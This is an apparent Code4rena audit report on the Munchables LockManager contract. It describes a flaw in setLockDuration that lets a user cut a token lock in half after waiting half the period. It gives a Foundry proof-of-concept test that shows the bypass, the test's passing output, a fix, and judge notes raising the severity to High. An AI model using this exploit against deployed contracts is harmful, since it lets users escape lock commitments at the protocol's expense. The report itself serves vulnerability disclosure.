Users can reduce the time of locked tokens if they spend half time waiting

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245-L272

Vulnerability details

The LockManager contract is responsible for handling the locking of funds for players who wish to mint new Munchables NFTs and/or migrate existing ones. Users can set the duration for which their tokens will be locked using the setLockDuration() function. This function is designed to prevent users from reducing the lock duration of already locked tokens, as indicated by the following code snippet:

LockManager.sol::L255
// check they are not setting lock time before current unlocktime
if (
    uint32(block.timestamp) + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

However, users can exploit a vulnerability that allows them to reduce the lock duration by half if they wait for half of the initially set lock period. The issue arises because the unlockTime is recalculated using the initial lock time plus the new duration, which bypasses the initial check.

LockManager.sol::L265
lockedTokens[msg.sender][tokenContract].unlockTime =
    lastLockTime +
    uint32(_duration);

If users wait for the half time of unlockTime and set the _duration half time as well, users will bypass the first condition, thus being able to reduce the time.

Impact

This vulnerability undermines the purpose of locking tokens by allowing users to reduce the lock duration, thus compromising the intended security and commitment mechanisms of the contract.

Proof of Concept

In this example, I set the unlockTime to the maximum. Add a new file to src/test/ called LockManager.t.sol, then put this code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

contract LockManagerTest is MunchablesTest {
    function test_usersCanReduceTheTimeOfLockedTokens() public {
        deployContracts();

        // Create and register user
        address alice = makeAddr("Alice");
        vm.deal(alice, 5 ether);

        // Choose random realm
        MunchablesCommonLib.Realm realm = MunchablesCommonLib.Realm.Everfrost;

        vm.startPrank(alice);
        amp.register(realm, address(0));

        uint256 maxLockDuration = 90 days;
        uint256 halfTime = 45 days;

        // Set lock duration to the maximum lock duration
        // and lock tokens
        lm.setLockDuration(maxLockDuration);
        lm.lock{value: 2 ether}(address(0), 2 ether);

        uint256 oldUnlockTime = lm.getLocked(alice)[0].lockedToken.unlockTime;

        assertEq(oldUnlockTime, maxLockDuration + 1);

        // Spend half the time locked and reduce the time in half
        vm.warp(halfTime + 1);
        lm.setLockDuration(halfTime);
        vm.stopPrank();

        uint256 currentUnlockTime = lm
            .getLocked(alice)[0]
            .lockedToken
            .unlockTime;

        // Check the difference between unlock time before and after
        assertGt(oldUnlockTime, currentUnlockTime);
        assertEq(currentUnlockTime, halfTime + 1);
    }
}

Running the test will generate this output:

$ forge test --mc LockManagerTest
[⠢] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/LockManager.t.sol:LockManagerTest
[PASS] test_usersCanReduceTheTimeOfLockedTokens() (gas: 63097086)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 25.93ms

Ran 1 test suite in 25.93ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review and Forge

Recommended Mitigation Steps

I recommend updating the lastLockTime to block.timestamp to mitigate this issue. If lastLockTime serves to record the initial lock time, it is crucial to add an additional check to prevent reducing the lock duration, as illustrated below:

uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
    .lastLockTime;
if (
    lastLockTime + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

By implementing this check, you can ensure that the lock duration cannot be arbitrarily reduced by users, thereby maintaining the integrity of the token locking mechanism.

Assessed type

Other

[c4-judge]

alex-ppg marked the issue as duplicate of #89

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)